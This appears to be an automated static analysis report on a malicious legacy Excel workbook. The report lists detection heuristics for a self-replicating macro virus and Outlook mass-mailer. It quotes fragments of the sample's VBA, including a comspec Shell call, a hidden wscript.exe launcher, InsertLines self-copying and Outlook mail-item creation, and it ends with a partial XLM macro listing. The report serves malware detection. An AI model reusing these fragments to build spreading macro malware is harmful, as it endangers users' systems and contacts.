Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 327399d099d5da47…

MALICIOUS

Office (OLE)

146.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-21
MD5: 3adef50945198ff451fda2c6462a0e30 SHA-1: 37666d52f4ba19b22d6fcdddb18700a6f3d9458e SHA-256: 327399d099d5da47857fb8f7f96d5dfb0a35f4c0c2264aab989d609a3a820630
946 Risk Score

Heuristics 23

  • Raw OLE macro text shows self-replication or security tampering critical OLE_RAW_MACRO_SELF_REPLICATION
    OLE streams contain macro source text with auto-run entry points, CreateObject automation, CodeModule AddFromString/InsertLines/DeleteLines behavior, and Outlook or macro-security tampering. This is high-confidence macro-virus behavior even when oletools does not recover a standard VBA project.
  • ClamAV: Xls.Virus.Mailcab-6702020-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Mailcab-6702020-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • VBA macros detected medium 12 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set oWshell = CreateObject("WScript.Shell")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .InsertLines 1, "Public WithEvents xx As Application"
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
        Set itmNewMail = objOL.CreateItem(olMailItem)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub auto_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        FName = Environ("Temp") & "\" & ModuleName & ".bas"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.49.65.9/DOCUME~1/bzqkf0/LOCALS~1/Temp/onworking/AP_COMMON_BCM_ALL_SCHEMATIC_0706192.xls In document text (OLE body)
    • http://10.49.65.9/DOCUME~1/bzqkf0/LOCALS~1/Temp/Powerdissipation_GM_BCM_Asia-WMP14Nov07.xlsIn document text (OLE body)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 30778 bytes
SHA-256: 8c9abd8b61baf052615723fd04de72c9564162506bc58077ff8e03b17324ffe4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, very hidden -  Macro
' 0085     12 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  ¥
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  00000pp
' 0018     31 LABEL : Cell Value, String Constant - _Builtin0 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x03\x00\x03\x00'
' 0018     31 LABEL : Cell Value, String Constant - _Fill hidden len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00m\x00m\x00m\x00m\x00'
' 0018    105 LABEL : Cell Value, String Constant - _JC22 hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x01\x00\xb4"\xaf\x01'
' 0018     26 LABEL : Cell Value, String Constant - _PA7 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00\x00\x02\x00\x02'
' 0018     26 LABEL : Cell Value, String Constant - _PA8 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00\x02\x00\x02\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PD1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00\x02a\x02a'
' 0018     27 LABEL : Cell Value, String Constant - _PE12 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00aEaE'
' 0018     27 LABEL : Cell Value, String Constant - _PE13 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00E\x00E\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PE6 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00\x00c\x00c'
' 0018     26 LABEL : Cell Value, String Constant - _PE7 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00c@c@'
' 0018     26 LABEL : Cell Value, String Constant - _PE8 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00@@@@'
' 0018     26 LABEL : Cell Value, String Constant - _PE9 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00@@@@'
' 0018     26 LABEL : Cell Value, String Constant - _PH1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00@@@@'
' 0018     26 LABEL : Cell Value, String Constant - _PI1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00@@@@'
' 0018     26 LABEL : Cell Value, String Constant - _PK1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00@@@@'
' 0018     26 LABEL : Cell Value, String Constant - _PK3 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00@@@@'
' 0018     32 LABEL : Cell Value, String Constant - aiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\t\t\t\t'
' 0018     27 LABEL : Cell Value, String Constant - Alpha len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x01\x00\x01\x00'
' 0018     30 LABEL : Cell Value, String Constant - Anzahl_1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     30 LABEL : Cell Value, String Constant - Anzahl_2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 10 ? hidden len=7 ptgRef3d  Macro!A2 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 13!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 13!C4 
' 0018     18 LABEL : Cell Value, String Constant - BCM len=0 
' 0018     29 LABEL : Cell Value, String Constant - Beg_Bal len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x03\x00\x03\x00'
' 0018     29 LABEL : Cell Value, String Constant - BOMView len=7 ptgRef3d 15!G33 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 13!C31 
' 0018     36 LABEL : Cell Value, String Constant - Cnty_Codes len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x10\x00\x03\x00D\x00\x03\x00\x03\x00'
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 13!C9 
' 0018     26 LABEL : Cell Value, String Constant - Data len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x03\x00\x03\x00'
' 0018     33 LABEL : Cell Value, String Constant - Devices len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x11\x00\x04\x00\xac\x00\x01\x00\x01\x00'
' 0018     39 LABEL : Cell Value, String Constant - Devices_Table len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x11\x00\x00\x00\xff\xff\x01\x00\x0b\x00'
' 0018     96 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\xb0\x9d\xaf\x01'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\r\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     26 LABEL : Cell Value, String Constant - Duty len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x03\x00\x03\x00'
' 0018     29 LABEL : Cell Value, String Constant - End_Bal len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     31 LABEL : Cell Value, String Constant - Extra_Pay len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     28 LABEL : Cell Value, String Constant - Extra_Payment len=0 
' 0018     25 LABEL : Cell Value, String Constant - FRC len=7 ptgRef3d 5!C9 
' 0018     32 LABEL : Cell Value, String Constant - Full_Print len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x07\x00\x07\x00'
' 0018     36 LABEL : Cell Value, String Constant - Header_Row len=11 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x00\x00\x00\x00b\x01\x08\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 13!A15 
' 0018     29 LABEL : Cell Value, String Constant - hostfee len=7 ptgRef3d 9!H12 
' 0018     34 LABEL : Cell Value, String Constant - hraiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\n\n\n\n'
' 0018     26 LABEL : Cell Value, String Constant - hvac len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\x12\x12\x12\x12'
' 0018     25 LABEL : Cell Value, String Constant - HWSheet len=3 ptgInt 1 
' 0018     26 LABEL : Cell Value, String Constant - Ieff len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x01\x00\x01\x00'
' 0018     26 LABEL : Cell Value, String Constant - Imax len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     25 LABEL : Cell Value, String Constant - Int len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     35 LABEL : Cell Value, String Constant - Interest_Rate len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     28 LABEL : Cell Value, String Constant - K_Imax len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x03\x00\x03\x00'
' 0018     60 LABEL : Cell Value, String Constant - Last_Row len=37 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x84\x00\x00\x00\x19\x02\x0f\x00c)\x00\x00\x00c@\x00\x00\x00\x03\x19\x08\x0c\x00#)\x00\x00\x00\x19\x08\x03\x00"\x03\x01\x00'
' 0018     33 LABEL : Cell Value, String Constant - Loan_Amount len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00@\x12@\x12'
' 0018     32 LABEL : Cell Value, String Constant - Loan_Start len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - Loan_Years len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     26 LABEL : Cell Value, String Constant - LTol len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 13!A26 
' 0018     90 LABEL : Cell Value, String Constant - MmExcelLinker_4795041E_1062_4A6D_901F_4306994608A4 len=25 ptgRef3dA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x12\x00\r\x00\x0c\xc0c\x18\x00\x00\x00\x04{\x13\x002\x004\x00\x01\x00\x01\x00\x04'
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 59 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 13!C39 
' 0018     23 LABEL : Cell Value, String Constant - N len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x03\x00\x03\x00'
' 0018     26 LABEL : Cell Value, String Constant - NDev len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     38 LABEL : Cell Value, String Constant - Num_Pmt_Per_Year len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     64 LABEL : Cell Value, String Constant - Number_of_Payments len=31 ptgNum FLOAT 0.010000 ptgName 0x00000024 ptgNum FLOAT -1.000000 ptgFuncVarA args 3 func MATCH (0x0040) ptgInt 1 ptgAdd 
' 0018     31 LABEL : Cell Value, String Constant - NumModels len=7 ptgRef3d 15!G24 
' 0018     24 LABEL : Cell Value, String Constant - On len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x04\x00\x04\x00'
' 0018     28 LABEL : Cell Value, String Constant - OS len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x05\x80\x05\x80\x05\x80\x05\x80'
' 0018     33 LABEL : Cell Value, String Constant - P_Mos_Ges_1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x0c\x00\x0c\x00'
' 0018     33 LABEL : Cell Value, String Constant - P_Mos_ges_2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     33 LABEL : Cell Value, String Constant - P_pro_Mos_1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     33 LABEL : Cell Value, String Constant - P_pro_Mos_2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     29 LABEL : Cell Value, String Constant - PA7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\xa3\x02\xa3\x02\xa3\x02\xa3\x02'
' 0018     29 LABEL : Cell Value, String Constant - PA8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\xd8\x02\xd8\x02\xd8\x02\xd8\x02'
' 0018     30 LABEL : Cell Value, String Constant - Pay_Date len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\r\x00\r\x00'
' 0018     29 LABEL : Cell Value, String Constant - Pay_Num len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     60 LABEL : Cell Value, String Constant - Payment_Date len=33 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'6\x00\x00\x00aE\x00c6\x00\x00\x00aD\x00cM\x00\x00\x00\x03c6\x00\x00\x00aC\x00aA\x00'
' 0018     29 LABEL : Cell Value, String Constant - Payment_Number len=0 
' 0018     29 LABEL : Cell Value, String Constant - PD1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00S\x05S\x05S\x05S\x05'
' 0018     30 LABEL : Cell Value, String Constant - PE12 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\xf0\t\xf0\t\xf0\t\xf0\t'
' 0018     30 LABEL : Cell Value, String Constant - PE13 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x99\n\x99\n\x99\n\x99\n'
' 0018     29 LABEL : Cell Value, String Constant - PE6 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x0c\t\x0c\t\x0c\t\x0c\t'
' 0018     29 LABEL : Cell Value, String Constant - PE7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00E\tE\tE\tE\t'
' 0018     29 LABEL : Cell Value, String Constant - PE8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00~\t~\t~\t~\t'
' 0018     29 LABEL : Cell Value, String Constant - PE9 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\xb7\t\xb7\t\xb7\t\xb7\t'
' 0018     29 LABEL : Cell Value, String Constant - PH1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x19\t\x19\t\x19\t\x19\t'
' 0018     29 LABEL : Cell Value, String Constant - PI1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00D\tD\tD\tD\t'
' 0018     29 LABEL : Cell Value, String Constant - PK1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00R\tR\tR\tR\t'
' 0018     29 LABEL : Cell Value, String Constant - PK3 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00n\nn\nn\nn\n'
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 13!C27 
' 0018     36 LABEL : Cell Value, String Constant - pr_toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\x02\x00O\x00\x00\x00\x08\x00'
' 0018     27 LABEL : Cell Value, String Constant - Princ len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x0e\x00\x0e\x00'
' 0018     55 LABEL : Cell Value, String Constant - Print_Area_Reset len=24 ptgAttr ptgName 0x00000028 ptgInt 0 ptgInt 0 ptgNameV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'4\x00\x00\x00"\x04N\x00'
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 93 
' 0018     24 LABEL : Cell Value, String Constant - Pv len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x0b\x00\x0b\x00'
' 0018     32 LABEL : Cell Value, String Constant - RDSon_25_1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - RDSon_25_2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     34 LABEL : Cell Value, String Constant - RDSon_Last_1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     34 LABEL : Cell Value, String Constant - RDSon_Last_2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     25 LABEL : Cell Value, String Constant - Ron len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     27 LABEL : Cell Value, String Constant - Rth_H len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     28 LABEL : Cell Value, String Constant - Rth_JA len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     28 LABEL : Cell Value, String Constant - Rth_JC len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     27 LABEL : Cell Value, String Constant - RTHca len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     27 LABEL : Cell Value, String Constant - RTHjc len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     34 LABEL : Cell Value, String Constant - s_c_list len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0b\x00\x06\x00\xc8\x03\x00\x00\x07\x00'
' 0018     29 LABEL : Cell Value, String Constant - SCG len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\x04\x00\x04\x00\x04\x00\x04\x00'
' 0018     31 LABEL : Cell Value, String Constant - Sched_Pay len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x11\x00\x11\x00'
' 0018     46 LABEL : Cell Value, String Constant - Scheduled_Extra_Payments len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     45 LABEL : Cell Value, String Constant - Scheduled_Interest_Rate len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     47 LABEL : Cell Value, String Constant - Scheduled_Monthly_Payment len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - Scheduled_Payment len=0 
' 0018     28 LABEL : Cell Value, String Constant - sdlfee len=7 ptgRef3d 9!H13 
' 0018     33 LABEL : Cell Value, String Constant - solar_ratio len=7 ptgRef3d 8!H7 
' 0018     28 LABEL : Cell Value, String Constant - ss7fee len=7 ptgRef3d 9!H18 
' 0018     29 LABEL : Cell Value, String Constant - Strom_1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x01\x00\x01\x00'
' 0018     29 LABEL : Cell Value, String Constant - Strom_2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     33 LABEL : Cell Value, String Constant - SUB75N05_06 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     29 LABEL : Cell Value, String Constant - subsfee len=7 ptgRef3d 9!H14 
' 0018     29 LABEL : Cell Value, String Constant - Temp_25 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x01\x00\x01\x00'
' 0018     24 LABEL : Cell Value, String Constant - Ti len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     24 LABEL : Cell Value, String Constant - Tj len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - TMos_ges_1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     32 LABEL : Cell Value, String Constant - TMos_ges_2 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     33 LABEL : Cell Value, String Constant - toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\x04\x00)\x06\x02\x00\x13\x00'
' 0018     36 LABEL : Cell Value, String Constant - Total_Interest len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x13\x00\x13\x00'
' 0018     31 LABEL : Cell Value, String Constant - Total_Pay len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     39 LABEL : Cell Value, String Constant - Total_Payment len=11 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'o\x00\x00\x00c&\x00\x00\x00\x03'
' 0018     24 LABEL : Cell Value, String Constant - Tu len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x805\x805'
' 0018     27 LABEL : Cell Value, String Constant - TUmax len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     24 LABEL : Cell Value, String Constant - Un len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0e\x00\x02\x00\x02\x00'
' 0018     29 LABEL : Cell Value, String Constant - V5.1Fee len=7 ptgRef3d  Sheet!H15 
